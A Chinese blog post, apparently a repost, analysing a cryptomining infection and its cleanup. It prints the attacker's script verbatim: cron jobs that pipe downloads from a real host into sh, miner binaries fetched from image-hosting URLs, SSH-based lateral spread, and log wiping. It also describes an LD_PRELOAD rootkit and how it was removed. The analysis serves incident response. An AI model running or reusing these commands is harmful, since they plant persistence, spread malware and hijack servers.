一起挖矿病毒事件的深度分析
nanshan 2024-11-20 19:30 15 浏览 0 评论
起因
朋友公司遇到了一起挖矿病毒事件,找我帮忙看看。
入侵分析
基本信息检查
当我登录服务器做检测时,top回显并未发现异常进程:
但是在crontab中发现一条异常的定时任务:
通过访问定时任务中的url,发现是一个shell脚本(目前已被黑客删除):
脚本分析
有了攻击脚本的话,我们就能更加快速的了解他的攻击方式了,所以让我们来分析下脚本到底干了些什么:
创建定时任务,不断检测,确保不被删除
echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
EOF
果然是黑客,领土意识就是比一般人强,第二步就是检测主机上是否存在其他的挖矿病毒,有的话直接干掉
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
开始下载挖矿木马了,黑客事先已经将木马文件上传到一些图片分享网站,通过脚本将木马下载到特定目录下并修改文件名,添加执行权限并启动
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
chattr -i sshd
rm -rf sshd
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "32x" ]; then
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -O sshd)
else
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -O sshd)
fi
fi
chmod +x sshd
$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd
黑客当然不满足占领一台主机,所以脚本会遍历root,/home/*目录下的所有.ssh文件,尝试横向转播,扩大战果
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
fi
done
最后就是常规的毁尸灭迹了(这个方法有点糙。。。)
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
再次排查
我们先把crontab进程关闭,防止排查过程中不断的执行从而干扰排查工作。然后将定时任务注释或删除:
回到刚开始排查是的情况,为什么我们在top回显中一条异常信息都看不到呢?我又在主机上搜索了下脚本中提到的sshd木马:
ps和netstat命令都看不到sshd的进程信息,这个信息说明sshd是一个带有隐藏信息的rootkit,netstat中能显示端口信息但是无法显示进程信息所以能确定,这并不是一个内核级别的rootkit(为毛我有点高兴又有点失望呢。。。),所以这只是一个用户态的malware。用户态的malware方式无非就是:
1.通过替换系统中常见的进程查看工具(比如ps、top、lsof)的二进制程序,导致原先查看进程相关信息的工具(ps、top、lsof等)都被调包;
2.通过劫持getdents 等系统调用函数或libc中的readdir 函数,实现对特定进程名进程的隐藏,以达到进程隐藏目的;
3.在恶意代码中通过设置具有迷惑性的进程名字,以达到躲避管理员检查的目的;
4.利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿;
我将一台正常主机的ps和netstat命令拷到本机进行测试发现还是无法看到sshd:
mounts中也没有看到异常的挂载:
那基本能确认是动态库劫持导致的隐藏,现在我们就要用到一个神器了—”busybox“,busybox具有系统通用的命令,而且运行的时候是通过静态库调用,详细信息大家可以点击链接去了解。通过busybox,我们终于看到了那些潜伏的进程:
先干掉{sshd} [kthreadd]进程,然后干掉/usr/local/sbin/havegeds,因为sshd才是主进程,不先干掉sshd的话,它会不断检测拉起挖矿病毒,然后通过yum命令remove原来的openssh-server,然后重新安装openssh-server服务。
但是我们现在通过netstat和ps命令来查看进程时,还是无法看到sshd等进程,这是因为我们之前的动态库hook问题还没有解决。我们通过strace命令来看下命令执行时的系统库调用情况:
在ps命令执行时,优先加载了ld.so.preload中设置的libboost_timed.so动态库,可以看出黑客是通过利用LD_PRELOAD加载恶意动态链接库达到隐藏的目的,到该动态库下通过busybox ls命令查看,发现那个恶意动态库文件
将此恶意动态库文件移除后,终于重现sshd进程了:
对libboost_timed.so文件进行简单的逆向后,发现它还会对多个文件进行修改:
到/var/spool/cron/目录下将两个root文件都删除了,突然想了下,他是不是还在开机启动项里面留了后门呢,所以立马cd到/etc/init.d/目录下看了下,果然发现了:
立马rm了。最后我们将一开始写入的crontab任务都删除,到现在为止本机上的挖矿病毒算排查完成了。
安全防护
1.SSH:
① 谨慎做免密登录
② 尽量不使用默认的22端口
③ 增强root密码强度
2.有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同学做以下加固:① 增加授权认证(requirepass参数)② 尽量使用docker版本(docker pull redis)③ 隐藏重要的命令
3.不要安装来源不明的软件,不管是在个人pc还是在测试服务器上!!!
作者:Gh0stWa1ker
来源:https://www.freebuf.com/articles/system/234492.html
相关推荐
- python获取阿里云云解析dns的域名解析记录
-
最近由于工作原因接触到阿里云的服务,我需要实时获取所有的域名信息,用于对其进行扫描,因此写了一个自动化爬取脚本给需要的人分享。(阿里云有官方的demo,有兴趣的可以自己看一下,后面也会放链接,我只能...
- 前端性能优化系列——DNS预解析和优化
-
简单来说,DNS的作用是将域名解析为IP地址,解析的过程是耗时的,转化后会做本地缓存,我们的优化的目标主要是针对用户第一次访问站点的时候陷入长时间白屏的问题。DNS解析可以分为两类,第一类是页...
- dns错误修复方法
-
最近用户反馈在同一网络的其他电脑可以正常上网,但自己的电脑却提示页面找不到且无法解析服务器的dns地址,接下来给大家带来dns错误修复方法。 1、点击网络图标,选择打开网络共享中心,如图所示: ...
- 技术分享 | 浅谈DNS递归解析和迭代解析之间的区别
-
DNS解析是互联网中的重要环节,承担着将域名翻译为可由计算机直接读取的IP地址的基础功能。根据查询对象不同DNS解析可分为递归解析和迭代解析两种方式,接下来,中科三方将简单介绍下两种查询方式的流程以及...
- 一文读懂DNS解析故障常见情况(中科三方)
-
DNS解析将人们习惯使用的域名翻译成计算机识别的IP地址,是确保人们正常访问网站的重要功能。而在实际域名管理过程中,经常会因为种种原因导致DNS解析故障。DNS解析故障主要表现在人们通过IP地址可以直...
- DNS分离解析实验
-
如果本文对你有帮助,欢迎关注、点赞、收藏、转发给朋友,让我有持续创作的动力目录一、分离解析概述二、实验需求三、实验步骤3.1双网卡服务器配置3.1.1添加两张网卡(内外网)3.1.2对两个网卡进...
- #净网2019# 浏览网页被“劫持”,有问题!
-
明明自己没有设置过,打开网页浏览器却直接到了一个陌生网站,想改回原来的主页设置颇费周折、甚至无能为力。很多网民有过类似经历:在安装了一些软件后,自己的浏览器主页就被修改和锁定。本来打算访问A网站却被强...
- 解决浏览器劫持,360和腾讯安全不敌火绒专杀
-
上午win7莫名其妙显示未激活,并要求当日必须激活,没办法,上网找激活工具,先试了“小马”没起作用,又下载了“WIN7ActivationV2.3绿色版”,就是这个:激活是激活了,顺便给我安了一堆垃...
- 【净网2019】 浏览网页被“劫持”,有问题!
-
明明自己没有设置过,打开网页浏览器却直接到了一个陌生网站,想改回原来的主页设置颇费周折、甚至无能为力。很多网民有过类似经历:在安装了一些软件后,自己的浏览器主页就被修改和锁定。本来打算访问A网站却被...
- 浏览器打开网页被绑架?这里有办法
-
最近小A遇到了一个小问题:在240g上网冲浪的时候,搜索到的网页,点进去却“李逵变李鬼”???在使用浏览器时,点击搜寻结果却导向与搜寻内容不符合的网站,表示您的浏览器可能已遭受恶意软件劫持。例如您在搜...
- 处理浏览器主页被劫持的最新方法
-
给大家说个处理浏览器主页被劫持的最新方法:刚遇件让人哭笑不得的事,这两天发现浏览器的主页打开后不是自己原来设置的,而是hao123,一百度,好家伙,原来这个流氓许多人都遇到过,照着大家分享的方法一一尝...
- 软件性能测试详解
-
性能测试的基本概念性能测试是一种非功能性测试,通过自动化工具模拟多种负载条件(正常、峰值、异常),对系统的各项性能指标进行测试和评估,以验证其是否满足预期的性能需求。以下是核心概念的详细解析:一、性能...
- 国内粉色图标视频网站偷用带宽风波,WebRTC Control 插件来救场
-
最近,B站陷入了一场舆论风波,被指偷偷使用用户上传带宽。有网友在浙江大学论坛投稿称,B崭新版App疑似未经许可大量上传数据致网络卡顿,查看路由器统计信息后,发现B站手机客户端开启大量端口,...
- 服务器知识
-
问:机架式和非机架式是什么意思?服务器中“U”是什么单位?答:机架式、非机架式指的是服务器的类型。机架式是指可以直接插入机柜的标准服务器。非机架式是其他类型的服务器。譬如说我们普通的pc机的主机。大小...
- Vue3 性能拉胯?5 个实战技巧让项目响应速度飙升 60%!
-
作为前端工程师,在开发Vue3项目时,你是否经常遇到页面卡顿、数据更新缓慢,导致用户体验直线下降的情况?看着自己精心搭建的应用,因为性能问题被吐槽,真是既无奈又焦虑。别担心,今天就分享5个超级...
你 发表评论:
欢迎- 一周热门
-
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
[常用工具] OpenCV_contrib库在windows下编译使用指南
-
WindowsServer2022|配置NTP服务器的命令
-
Ubuntu系统Daphne + Nginx + supervisor部署Django项目
-
WIN11 安装配置 linux 子系统 Ubuntu 图形界面 桌面系统
-
解决Linux终端中“-bash: nano: command not found”问题
-
NBA 2K25虚拟内存不足/爆内存/内存占用100% 一文速解
-
Linux 中的文件描述符是什么?(linux 打开文件表 文件描述符)
-
K3s禁用Service Load Balancer,解决获取浏览器IP不正确问题
-
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)